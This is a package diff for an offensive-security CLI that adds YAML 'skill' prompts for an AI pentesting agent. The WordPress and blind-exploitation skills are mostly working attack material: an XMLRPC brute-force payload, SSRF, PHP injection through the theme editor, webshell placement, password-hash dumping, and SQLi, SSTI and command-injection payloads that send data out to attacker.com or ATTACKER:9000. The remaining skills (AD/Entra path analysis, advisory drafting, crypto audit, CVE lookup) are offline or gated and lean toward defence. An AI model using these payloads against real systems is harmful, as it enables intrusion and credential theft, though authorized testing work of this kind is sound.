0sec-cli 0.15.0 → 0.18.0

package/chunks/agent/skills/frameworks/wordpress-deep.yaml

@@ -0,0 +1,122 @@
+id: wordpress-deep
+name: "WordPress Deep Exploitation"
+description: "WordPress-specific attack surface: plugins, themes, REST API, xmlrpc, wp-cron, misconfigs"
+version: 1
+applicable_roles: [attack, audit]
+tags: [wordpress, wp, cms, plugins, themes, xmlrpc, wp-json, wpscan, php]
+triggers:
+  - "wp-content"
+  - "wp-includes"
+  - "wp-admin"
+  - "wp-json"
+  - "xmlrpc\\.php"
+  - "wordpress"
+  - "wp-login"
+  - "/wp-content/plugins/"
+  - "/wp-content/themes/"
+  - "wp-cron"
+  - "woocommerce"
+  - "elementor"
+  - "contact-form-7"
+  - "yoast"
+  - "wp-file-manager"
+estimated_tokens: 800
+content: |
+  ## WordPress Deep Exploitation
+
+  ### Step 1: Fingerprinting
+  **Version and plugin enumeration** (low-noise first):
+  - `curl -s TARGET/readme.html` — WP version in title
+  - `curl -s TARGET/wp-json/` — REST API root; `namespaces` reveal installed plugins
+  - `curl -s TARGET/feed/` — generator tag: `<generator>https://wordpress.org/?v=X.X.X</generator>`
+  - `curl -s TARGET/ | grep -oP 'ver=[\d.]+'` — asset version query strings leak WP + plugin versions
+  - `curl -s TARGET/wp-content/plugins/` — directory listing if enabled (gold mine)
+  - Probe individual plugin readmes: `curl -s TARGET/wp-content/plugins/SLUG/readme.txt | grep -i "stable tag"`
+
+  **If wp_fingerprint tool is available**, call it first — it returns structured (plugin, version, CVE, exploit_hints) data.
+
+  ### Step 2: User Enumeration
+  - REST API: `curl -s TARGET/wp-json/wp/v2/users` — returns usernames and slugs (often enabled by default)
+  - Author archives: `curl -s TARGET/?author=1` — redirects to `/author/USERNAME/`
+  - Login error oracle: `POST /wp-login.php` with known username — "incorrect password" vs "invalid username"
+  - XMLRPC: `wp.getUsersBlogs` method leaks valid usernames with correct password attempts
+
+  ### Step 3: XMLRPC Attacks
+  **Confirm XMLRPC is active**: `curl -s TARGET/xmlrpc.php` — should return "XML-RPC server accepts POST requests only."
+
+  **Brute-force via system.multicall** (bypasses rate-limiting — tests hundreds of passwords in one HTTP request):
+  ```xml
+  <?xml version="1.0"?>
+  <methodCall>
+    <methodName>system.multicall</methodName>
+    <params><param><value><array><data>
+      <value><struct>
+        <member><name>methodName</name><value>wp.getUsersBlogs</value></member>
+        <member><name>params</name><value><array><data>
+          <value>admin</value><value>password1</value>
+        </data></array></value></member>
+      </struct></value>
+      <!-- repeat for each password -->
+    </data></array></value></param></params>
+  </methodCall>
+  ```
+
+  **Pingback SSRF**: `pingback.ping` method — can probe internal services:
+  ```xml
+  <?xml version="1.0"?>
+  <methodCall>
+    <methodName>pingback.ping</methodName>
+    <params>
+      <param><value>http://INTERNAL-HOST:PORT/</value></param>
+      <param><value>TARGET/any-existing-post</value></param>
+    </params>
+  </methodCall>
+  ```
+
+  ### Step 4: High-Value Plugin Vulnerabilities
+  Try these in order (highest ROI first):
+
+  **Arbitrary file upload** (unauthenticated RCE):
+  - WP File Manager (CVE-2020-25213): `POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php`
+  - Duplicator (CVE-2020-11738): path traversal via `installer-backup.php`
+  - Contact Form 7 (CVE-2020-35489): unrestricted upload via `.php.` double-extension
+
+  **SQL injection**:
+  - Check all plugin AJAX endpoints: `POST /wp-admin/admin-ajax.php?action=PLUGIN_ACTION`
+  - GiveWP, LayerSlider, WP Statistics — historically rich SQLi targets
+
+  **LFI/Path traversal**:
+  - Theme/plugin file parameters: `?file=../../../wp-config.php`
+  - `wp-config.php` is the holy grail — contains DB creds, auth keys, table prefix
+
+  ### Step 5: Authenticated Exploitation
+  Once you have valid creds (even subscriber-level):
+
+  **Admin-level (editor/admin)**:
+  - Theme Editor: `POST /wp-admin/theme-editor.php` — inject PHP into `404.php` or `functions.php`, then `GET /wp-content/themes/THEME/404.php`
+  - Plugin Editor: `/wp-admin/plugin-editor.php` — edit any installed plugin's PHP
+  - Plugin Install: `/wp-admin/plugin-install.php` — upload malicious ZIP as a "plugin"
+  - Media Upload: `POST /wp-admin/admin-ajax.php?action=upload-attachment`
+
+  **Subscriber/Author escalation**:
+  - Check for plugins granting upload capabilities to low-privilege roles
+  - Author-level users can upload media — try `.phtml`, `.php5`, `.shtml` extensions
+  - REST API: `POST /wp-json/wp/v2/posts` — some plugins expose write endpoints to subscribers
+
+  ### Step 6: wp-cron Abuse
+  - `curl -s TARGET/wp-cron.php` — triggers scheduled tasks; can be used for timing attacks
+  - Some plugins register cron hooks that perform privileged operations (email sends, cache rebuilds)
+  - DoS vector: repeated wp-cron triggers under load
+
+  ### Step 7: Common Misconfigurations
+  - `wp-config.php` backup files: try `wp-config.php.bak`, `wp-config.php~`, `wp-config.php.save`, `wp-config.php.swp`, `.wp-config.php.swp`
+  - Debug mode: `?debug=true` or check for `WP_DEBUG` output in HTML comments
+  - Directory listing: `/wp-content/uploads/`, `/wp-content/backup-db/`
+  - Exposed phpinfo: `/wp-content/plugins/*/phpinfo.php`
+  - Default creds: `admin/admin`, `admin/password`, `admin/<sitename>`
+
+  ### Post-Exploitation
+  - Webshells land in: `/wp-content/uploads/YYYY/MM/shell.php`
+  - Read `wp-config.php` for DB credentials, secret keys, and table prefix
+  - DB access → dump `wp_users` table for all password hashes
+  - Check `wp_options` for `siteurl`, `active_plugins`, custom secrets

package/chunks/agent/skills/techniques/ad-attack-paths.yaml

@@ -0,0 +1,57 @@
+id: ad-attack-paths
+name: "Active Directory Attack-Path Analysis"
+description: "When to reach for the offline `ad_attack_paths` engine: given a BloodHound CE / SharpHound JSON collection on disk, enumerate paths to Domain Admin, kerberoastable principals, unconstrained delegation, DCSync rights, ACL-abuse chains, and ADCS escalation — files only, no collection, no network."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+  - review
+tags:
+  - active-directory
+  - bloodhound
+  - sharphound
+  - kerberoast
+  - dcsync
+  - delegation
+  - privilege-escalation
+triggers:
+  - "BloodHound"
+  - "SharpHound"
+  - "DCSync"
+  - "kerberoast"
+  - "unconstrained delegation"
+  - "Domain Admin"
+estimated_tokens: 600
+content: |
+  ## Active Directory attack-path analysis (offline)
+
+  When you have (or can point at) a BloodHound CE / SharpHound JSON collection
+  already on disk, do NOT try to reason about the graph by hand or re-collect it
+  over the network. Call the **`ad_attack_paths`** tool: it ingests the collector
+  files, builds the object graph, and runs every analyzer offline.
+
+  ### When this applies
+  - A directory of `*.json` collector output, or a single BloodHound CE export.
+  - Any question about "how does an attacker reach Domain Admin here?", tiering
+    violations, or dangerous ACL/permission chains.
+
+  ### How to drive it
+  - Pass `dir` for an unzipped collection directory, or `file` for one export.
+  - Optionally pass `domain` (an FQDN) to scope a multi-domain collection.
+  - The tool never touches the network and never authenticates — it reads files.
+
+  ### Reading the result
+  - `findings[]` are ordered worst-first; each carries a `shortestPath`
+    (`hops` + `technique`), an affected-principal count, and a remediation.
+  - Prioritise short paths to Tier-0: a 2-hop path to Domain Admin is a
+    different conversation from a 6-hop one.
+  - **An empty result is not a clean domain.** If the export never collected
+    memberships/ACLs, the paths that depend on them cannot be computed — say so,
+    and recommend re-collecting with the missing collections rather than
+    reporting the domain as safe.
+
+  ### Follow-ups
+  - Confirm the concrete edges (group membership, ACE, delegation flag) in the
+    finding evidence before you claim a path is real.
+  - Feed a confirmed, high-impact path into `assemble_advisory` when you need a
+    written write-up.

package/chunks/agent/skills/techniques/advisory-disclosure.yaml

@@ -0,0 +1,59 @@
+id: advisory-disclosure
+name: "Advisory & Disclosure Drafting"
+description: "When to reach for the offline `assemble_advisory` engine: turn a persisted, confirmed finding into a GHSA-ready advisory draft (CWE + CVSS + repro + remediation), a filing-state decision, and — when reproduced — a DRAFT vendor-notification. Offline DB read; never sends or publishes."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+  - review
+tags:
+  - advisory
+  - disclosure
+  - ghsa
+  - cvss
+  - vendor-notification
+  - reporting
+triggers:
+  - "advisory"
+  - "GHSA"
+  - "disclosure"
+  - "CVSS"
+  - "vendor notification"
+  - "write.?up"
+estimated_tokens: 650
+content: |
+  ## Advisory & coordinated-disclosure drafting (offline)
+
+  When a finding is confirmed and you need a written, GHSA-ready advisory, use
+  the **`assemble_advisory`** tool. It reads the finding from the local findings
+  database (offline) and renders the artifacts — it NEVER sends, files, or
+  publishes anything. Everything it produces is a DRAFT for human review.
+
+  ### How to drive it
+  - Pass `finding_id` (an id or unique prefix). Omit it to draft the most recent
+    finding that is not `discovered` (LLM-hypothesised, unconfirmed) or
+    `false-positive` (rejected).
+  - Optionally pass `scan_id` to restrict the lookup, and `db_path` for a
+    non-default database.
+  - `allow_unreproduced: true` also stages the vendor-notification for a finding
+    whose PoC did not reproduce (default off).
+
+  ### The quality gate — never auto-draft junk
+  - Auto-filing an unverified PoC is the canonical "AI-generated low-quality"
+    trigger that gets advisories auto-closed. The tool refuses to auto-select
+    `discovered` / `false-positive` / suppressed findings for exactly this
+    reason. Respect that: if you must draft one, pass its explicit `finding_id`
+    and treat the output as internal.
+
+  ### Reading the result
+  - `advisory.markdown` is the GHSA-ready draft (with `primaryCwe`, `cvssVector`,
+    `cvssScore`). `advisoryError` appears instead when the finding has no
+    reproducible PoC content (an empty-PoC drop).
+  - `filingState` is the keep / needs-review / drop verdict.
+  - `vendorNotification` is the DRAFT notification when the finding reproduced;
+    `vendorNote` explains why it was skipped otherwise.
+
+  ### Before disclosing
+  - Confirm the CVSS vector and affected range are right, and that the repro is
+    genuinely reproducible. Ground any referenced CVE with `cve_lookup` rather
+    than citing from memory.

package/chunks/agent/skills/techniques/assumption-mining.yaml

@@ -0,0 +1,53 @@
+id: assumption-mining
+name: "Assumption Mining"
+description: "When to reach for the offline `assumption_hunt` engine: mine a source tree for the IMPLICIT assumptions the code depends on (a field is never null, an input is already validated upstream, a caller holds a lock, a size fits) and surface the sites where a violated assumption becomes a bug. Offline source read; never touches the target network. Emits LEADS to verify."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+  - review
+tags:
+  - assumption-mining
+  - invariants
+  - preconditions
+  - source-review
+  - static-analysis
+  - trust-boundary
+triggers:
+  - "assumption"
+  - "invariant"
+  - "precondition"
+  - "trusts? (that|the) (input|caller|upstream)"
+  - "(implicit|unstated) (contract|guarantee)"
+estimated_tokens: 600
+content: |
+  ## Assumption mining (offline)
+
+  Many real bugs are not a missing check in isolation — they are an IMPLICIT
+  assumption that holds everywhere except one path. `assumption_hunt` mines a
+  source tree for those unstated contracts and flags where a violated one turns
+  into a vulnerability.
+
+  ### What it hunts
+  - "This value is never null / never empty here."
+  - "This input was already validated / sanitized upstream."
+  - "The caller already holds this lock / already checked permission."
+  - "This length/size always fits; this index is always in range."
+  - "These two representations can never disagree."
+
+  For each mined assumption it looks for a reachable path where the assumption
+  is NOT guaranteed — an entry point that skips the upstream validation, a
+  second caller that does not hold the lock, an attacker-controlled size.
+
+  ### How to drive it
+  - Point it at the `source` root (a local path; resolved within the scoped
+    source path when one is set). It is offline and reads files only.
+
+  ### Reading the result
+  - Output is **LEADS, not confirmed bugs.** A mined assumption + a candidate
+    violating path is a hypothesis. Verify it: trace the concrete path from a
+    real entry point to the site and confirm the assumption is genuinely
+    unenforced there (not enforced by a wrapper or an earlier guard).
+  - Complements `variant_hunt` (same bug elsewhere) and `deep_source_review`
+    (lens-driven depth): use `assumption_hunt` when the risk is a subtle broken
+    contract rather than a keyword-visible dangerous sink.

package/chunks/agent/skills/techniques/blind-exploitation.yaml

@@ -0,0 +1,143 @@
+id: blind-exploitation
+name: "Blind Exploitation Techniques"
+description: "Side-channel exploitation when injection works but output is hidden: OOB DNS/HTTP callbacks, timing oracles, error-based inference, and boolean extraction."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+  - review
+tags:
+  - blind
+  - oob
+  - time-based
+  - error-based
+  - side-channel
+  - exfiltration
+  - waf-bypass
+triggers:
+  - "\\bblind\\b"
+  - "no output"
+  - "\\bwaf\\b"
+  - "filter.*block"
+  - "request.*rejected"
+  - "time.?based"
+  - "out.?of.?band"
+  - "\\boob\\b"
+  - "sleep\\("
+  - "pg_sleep"
+  - "BENCHMARK\\("
+  - "php://filter"
+  - "convert\\.base64-encode"
+  - "identical.*respons"
+  - "same.*respons"
+  - "callback"
+estimated_tokens: 950
+content: |
+  ## Blind Exploitation Techniques
+
+  ### Phase 1: Confirm Blind Injection Exists
+  Before investing in extraction, prove the payload is being evaluated:
+  1. Send a baseline request, record response body length, status code, and timing
+  2. Send an injection that SHOULD cause a detectable difference:
+     - Boolean: `' AND 1=1-- -` vs `' AND 1=2-- -`
+     - Timing: `' AND SLEEP(3)-- -` vs baseline
+     - Error: `' AND 1=CONVERT(int,'x')-- -`
+  3. Repeat 3 times to rule out network jitter — consistent delta confirms execution
+
+  ### Phase 2: Time-Based Oracle
+  Use timing differences as an information channel:
+
+  **SQL Injection:**
+  - MySQL: `' AND IF(SUBSTRING(user(),1,1)='r',SLEEP(3),0)-- -`
+  - PostgreSQL: `'; SELECT CASE WHEN (SUBSTRING(current_user,1,1)='p') THEN pg_sleep(3) ELSE pg_sleep(0) END-- -`
+  - MSSQL: `'; IF (SUBSTRING(SYSTEM_USER,1,1)='s') WAITFOR DELAY '0:0:3'-- -`
+  - SQLite: `' AND (SELECT CASE WHEN (SUBSTR(sqlite_version(),1,1)='3') THEN randomblob(200000000) ELSE 0 END)-- -`
+
+  **SSTI:**
+  - Jinja2: `{{config.__class__.__init__.__globals__['os'].popen('sleep 3').read()}}`
+  - Twig: `{{['sleep 3']|filter('system')}}`
+
+  **Command Injection:**
+  - `; sleep 3`, `| sleep 3`, `` `sleep 3` ``, `$(sleep 3)`
+
+  Binary search strategy: bisect ASCII range to extract each character in ~7 requests.
+  Total time for a 20-char string: ~140 requests at 3s each = ~7 minutes.
+
+  ### Phase 3: Out-of-Band (OOB) Callbacks
+  When timing is unreliable (load balancers, caching, async processing):
+
+  **Set up a listener first:**
+  ```bash
+  python3 -m http.server 9000 > /tmp/oob.log 2>&1 &
+  echo $! > /tmp/oob.pid
+  ```
+
+  **HTTP callback payloads:**
+  - SQLi (MySQL): `' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\',HEX(user()),'.attacker.com\\\\a'))-- -`
+  - SQLi (PostgreSQL): `'; COPY (SELECT current_user) TO PROGRAM 'curl http://ATTACKER:9000/?d='||current_user-- -`
+  - SSTI: `{{config.__class__.__init__.__globals__['os'].popen('curl http://ATTACKER:9000/$(id|base64)').read()}}`
+  - Command injection: `; curl http://ATTACKER:9000/$(whoami)`
+  - XXE: `<!ENTITY xxe SYSTEM "http://ATTACKER:9000/xxe-confirmed">`
+
+  **DNS exfiltration (when HTTP egress is blocked):**
+  - `; nslookup $(whoami).attacker.com`
+  - `; dig $(cat /etc/hostname).attacker.com`
+  - MSSQL: `'; EXEC master..xp_dirtree '\\\\\\\\attacker.com\\\\a'-- -`
+
+  **Check the listener:**
+  ```bash
+  cat /tmp/oob.log
+  kill $(cat /tmp/oob.pid)
+  ```
+
+  ### Phase 4: Error-Based Inference
+  Force the application to leak data through error messages:
+
+  **SQL error-based extraction:**
+  - MySQL extractvalue: `' AND extractvalue(1,concat(0x7e,(SELECT user())))-- -`
+  - MySQL updatexml: `' AND updatexml(1,concat(0x7e,(SELECT version())),1)-- -`
+  - PostgreSQL cast: `' AND 1=cast((SELECT current_user) as int)-- -`
+  - MSSQL convert: `' AND 1=CONVERT(int,(SELECT @@version))-- -`
+
+  **SSTI error leak:**
+  - Access invalid index to leak subclass list in traceback
+  - Force TypeError with type-sensitive operations
+
+  ### Phase 5: Boolean-Based Extraction
+  When only true/false differences are observable (response length, content, status):
+
+  **Optimized extraction loop:**
+  1. Determine response length for true condition (`' AND 1=1-- -`)
+  2. Determine response length for false condition (`' AND 1=2-- -`)
+  3. Extract data character by character using binary search:
+     ```
+     ' AND ASCII(SUBSTRING((SELECT user()),1,1))>64-- -   → true? >64
+     ' AND ASCII(SUBSTRING((SELECT user()),1,1))>96-- -   → true? >96
+     ' AND ASCII(SUBSTRING((SELECT user()),1,1))>112-- -  → false? 97-112
+     ... narrow to exact character in 7 queries
+     ```
+  4. Detect string end: `' AND LENGTH((SELECT user()))=N-- -`
+
+  ### Phase 6: Blind LFI / WAF Bypass
+  When path traversal output is filtered:
+
+  **PHP filter chains (read source as base64):**
+  ```
+  php://filter/convert.base64-encode/resource=index.php
+  php://filter/read=string.rot13/resource=/etc/passwd
+  php://filter/zlib.deflate|convert.base64-encode/resource=/flag
+  ```
+
+  **Encoded traversal when `../` is blocked:**
+  - URL encode: `%2e%2e%2f`
+  - Double URL encode: `..%252f`
+  - Overlong UTF-8: `..%c0%af`, `..%c1%9c`
+  - Backslash: `..\\..\\etc\\passwd` (Windows/Node)
+
+  ### Phase 7: Combine Techniques
+  When a single channel is unreliable, chain them:
+  1. Use time-based to CONFIRM injection exists (cheap, reliable)
+  2. Switch to OOB for bulk data extraction (faster than timing per-char)
+  3. If OOB blocked, fall back to boolean + binary search
+  4. If all external channels blocked, try file write + read via a second endpoint
+  5. Last resort: error-based leak through stack traces or type coercion

package/chunks/agent/skills/techniques/crypto-misuse.yaml

@@ -0,0 +1,88 @@
+id: crypto-misuse
+name: "Cryptographic Misuse Detection"
+description: "Static source patterns for crypto misuse: weak hashes (MD5/SHA1) on security paths, hardcoded keys/IVs, ECB mode, static IVs, predictable RNG for secrets, weak KDF params, and missing auth-tag verification."
+version: 1
+applicable_roles:
+  - audit
+  - review
+  - attack
+tags:
+  - cryptography
+  - crypto-misuse
+  - weak-hash
+  - hardcoded-key
+  - ecb
+  - predictable-rng
+  - kdf
+  - auth-bypass
+triggers:
+  - "createHash\\s*\\(\\s*['\"]md5"
+  - "createHash\\s*\\(\\s*['\"]sha-?1"
+  - "hashlib\\.(md5|sha1)"
+  - "createCipheriv"
+  - "aes-\\d+-ecb"
+  - "MODE_ECB"
+  - "Math\\.random"
+  - "crypto-js"
+  - "node-forge"
+  - "pbkdf2"
+  - "createHmac"
+estimated_tokens: 700
+content: |
+  ## Cryptographic Misuse — Static Source Audit
+
+  Crypto bugs are high-signal and deterministically provable: the weakness is in
+  the code, not behaviour-dependent. Gate every check on *security-relevant*
+  usage so you do not flood findings (a plain content checksum with MD5 is fine;
+  MD5 over a password is not).
+
+  ### 1. Weak hash for a security purpose
+  - `crypto.createHash('md5'|'sha1')` / `hashlib.md5|sha1` used for a password,
+    token, signature, salt, or key-derivation value → broken (collision/preimage).
+  - `createHmac('md5'|'sha1', ...)` is always keyed → flag regardless of context.
+  - Remediation: argon2id / scrypt / bcrypt for passwords; SHA-256+ for
+    integrity/signing; HMAC-SHA-256+ for MACs.
+  - DO NOT flag: MD5/SHA-1 used purely as a non-security content checksum / ETag.
+
+  ### 2. Hardcoded keys / IVs / secrets
+  - `createCipheriv(algo, '<literal>', '<literal>')` — hardcoded key (anyone with
+    source can decrypt) and a static IV (defeats semantic security; a reused IV
+    in CTR/GCM is catastrophic — GCM nonce reuse enables key/forgery recovery).
+  - Literal HMAC/JWT signing secret, or a high-entropy literal assigned to a
+    `secret`/`privateKey`/`apiKey`/`jwtSecret` identifier → forgeable signatures.
+  - Gate on entropy + length to skip placeholders (`changeme`, `<your-secret>`)
+    and `process.env.*` references.
+  - Remediation: KMS / secret manager; generate a fresh random IV per message.
+
+  ### 3. ECB block-cipher mode
+  - `aes-*-ecb`, `mode: ECB`, `AES.MODE_ECB` → identical plaintext blocks map to
+    identical ciphertext blocks (the "ECB penguin"); no semantic security.
+  - Remediation: AES-256-GCM (authenticated), or AES-CBC with random IV + a MAC.
+
+  ### 4. JWT algorithm confusion
+  - `alg: "none"` / `algorithms: ["none"]` → unsigned-token forgery → full auth
+    bypass. Craft `{"alg":"none"}` + empty signature with arbitrary claims.
+  - `algorithms` allow-list mixing HS* (symmetric) with RS/ES/PS* (asymmetric) →
+    HS-vs-RS confusion: sign a forged token with the public key as the HMAC
+    secret and the RSA-verifying server accepts it.
+  - `jwt.verify(token, key)` with NO `algorithms` option → library trusts the
+    attacker-controlled header `alg`, enabling both attacks above.
+  - Remediation: pin a single explicit algorithm in `algorithms`.
+  - To prove: forge a token and submit it (see `jwt-attacks` skill).
+
+  ### 5. Predictable RNG for secrets
+  - `Math.random()` (xorshift128+, state recoverable) or Python `random` module
+    (Mersenne Twister, predictable) used for a token / key / nonce / OTP /
+    password-reset value → guessable secret.
+  - Remediation: `crypto.randomBytes` / `crypto.randomUUID` /
+    `crypto.getRandomValues`; Python `secrets`.
+  - DO NOT flag: `Math.random()` for UI jitter / sampling / animation.
+
+  ### 6. Weak KDF parameters (review when present)
+  - `pbkdf2` with a low iteration count (< 100k for SHA-256), short/empty salt,
+    or a non-random salt. Prefer argon2id / scrypt with tuned cost params.
+
+  ### 7. Missing authenticated-decryption checks
+  - GCM/ChaCha20-Poly1305 decryption that never verifies the auth tag (e.g.
+    ignoring `decipher.setAuthTag` / catching and swallowing the tag-mismatch
+    error) → ciphertext tampering goes undetected.

package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml

@@ -0,0 +1,82 @@
+id: cve-poc-adaptation
+name: "CVE Artifact Lookup & Reasoning"
+description: "When to reach for the read-only `cve_lookup` engine: given a CVE id, fetch the description, affected ranges, write-ups/advisories, and ranked public PoC candidates from curated catalogues (NVD, GHSA, OSV, distro trackers, GitHub) — then reason about applicability. Read-only: it fetches artifacts, it does NOT adapt or run any PoC."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+  - review
+tags:
+  - cve
+  - poc
+  - advisory
+  - artifact-lookup
+  - nvd
+  - ghsa
+triggers:
+  - "CVE-\\d{4}-\\d+"
+  - "CVE-"
+  - "advisory"
+  - "artifact"
+  - "proof.?of.?concept"
+  - "PoC"
+estimated_tokens: 600
+content: |
+  ## CVE artifact lookup and reasoning (read-only)
+
+  When a CVE id comes up, do NOT recite details from memory — memory of specific
+  CVEs is unreliable and often conflates versions. Call **`cve_lookup`**: it
+  queries curated public catalogues (NVD, GHSA, OSV, distro trackers, GitHub)
+  and returns the grounded artifacts. It is READ-ONLY — it fetches, it does not
+  adapt or execute any PoC.
+
+  ### How to drive it
+  - Pass `cve` (e.g. `CVE-2024-1086`). Optionally `skip_github_poc_search: true`
+    for a faster, lower-quota run, and `timeout_ms` per source.
+
+  ### Reading the result
+  - `description`, `published`, and `affected[]` (deduped version ranges) — use
+    these to decide whether the target is actually in an affected range.
+  - `poc_urls[]` are ranked candidates. **They are UNVERIFIED public artifacts,
+    not confirmed-working exploits.** Treat a high-confidence rank as a lead, not
+    proof.
+  - `writeup_urls[]` are advisories / analyses — read them to understand the
+    root cause and the exact vulnerable code path.
+  - `sources[]` records each catalogue's status; an all-error result means the
+    lookup failed (network), not that the CVE has no artifacts.
+
+  ### Reasoning about applicability (the point of the lookup)
+  1. Map the CVE's affected range against the target's actual version/commit.
+  2. From the write-ups, identify the vulnerable sink and the precondition that
+     makes it reachable — then check the target source for that precondition
+     (this is where `deep_source_review` / `read_file` come in).
+  3. Only claim exposure when you can trace a concrete reachable path, not
+     merely a version match.
+
+  ### Scope note
+  This tool is the READ-ONLY half of the CVE workflow. PoC adaptation /
+  reproduction is a separate, gated capability — do not assume `cve_lookup`
+  runs or ports any exploit.
+
+  ## The gated other half: `cve_adapt` (adapts + RUNS a PoC)
+
+  Once `cve_lookup` has grounded the CVE and you have a concrete in-scope
+  target, `cve_adapt` is the active counterpart: it ADAPTS a public PoC to the
+  target and RUNS it to confirm exploitability. Because it executes an adapted
+  exploit, it is deny-by-default:
+  - It requires the feature flag `0SEC_FEATURE_CVE_ADAPT=1`, AND
+  - an active engagement scope (the target must be in scope).
+  Absent either, `cve_adapt` is not available — that is the correct, intended
+  gating, not a failure to route around.
+
+  ### The two-step workflow
+  1. `cve_lookup` (read-only): fetch artifacts, confirm the target is in an
+     affected range, read the write-ups to understand the sink + precondition.
+  2. `cve_adapt` (gated, active): adapt the ranked PoC to the target and run it;
+     a successful run is a reproduced, confirmed exploitation of that CVE on the
+     target. A failed adaptation is not proof of non-exposure — the PoC may need
+     a different offset/version tweak.
+
+  Never claim a CVE is exploitable on the target from a version match or a
+  lookup alone; only a reproduced `cve_adapt` run (or a hand-verified PoC)
+  confirms it.

package/chunks/agent/skills/techniques/entra-attack-paths.yaml

@@ -0,0 +1,55 @@
+id: entra-attack-paths
+name: "Entra ID Attack-Path Analysis"
+description: "When to reach for the offline `entra_attack_paths` engine: given an AzureHound export on disk, enumerate paths to Global Administrator, service-principal escalation, consent-grant abuse, owner chains, and guest escalation — files only, no collection, no authentication, no network."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+  - review
+tags:
+  - entra-id
+  - azure-ad
+  - azurehound
+  - global-administrator
+  - service-principal
+  - consent-grant
+  - privilege-escalation
+triggers:
+  - "AzureHound"
+  - "[Gg]lobal [Aa]dministrator"
+  - "service principal"
+  - "consent grant"
+  - "Entra"
+  - "Azure AD"
+estimated_tokens: 600
+content: |
+  ## Entra ID (Azure AD) attack-path analysis (offline)
+
+  When an **AzureHound** export is on disk, use the **`entra_attack_paths`**
+  tool rather than reasoning about the tenant graph by hand. It ingests the
+  AzureHound JSON, builds the directory graph, and runs the path analyzers
+  entirely offline — it never collects, authenticates, or touches the network.
+
+  ### When this applies
+  - A directory of AzureHound `*.json`, or a single AzureHound export.
+  - Questions about paths to **Global Administrator**, **service-principal**
+    escalation, **consent-grant** abuse, owner chains, or guest escalation.
+
+  ### How to drive it
+  - Pass `dir` (a directory) or `file` (a single export).
+  - Optionally pass `owned` (comma-separated object ids already under your
+    control) to make those principals the path sources, and `max_depth` to bound
+    traversal.
+
+  ### Reading the result
+  - `findings[]` are severity-then-shortest-path ordered; each carries a
+    `shortestPath`, path count, affected principals, and remediation.
+  - Check `graph.relationshipsCollected`. **If false, membership/ownership was
+    not collected** — paths that depend on it cannot be computed, and their
+    absence is NOT evidence that none exist. Recommend a fuller AzureHound run.
+
+  ### Contrast with posture
+  - `entra_attack_paths` is OFFLINE graph reasoning over an export.
+  - `entra_posture` is a live, read-only Graph API posture assessment (token in
+    `0SEC_GRAPH_ACCESS_TOKEN`). Use posture for config hygiene; use attack-paths
+    for reachability/escalation.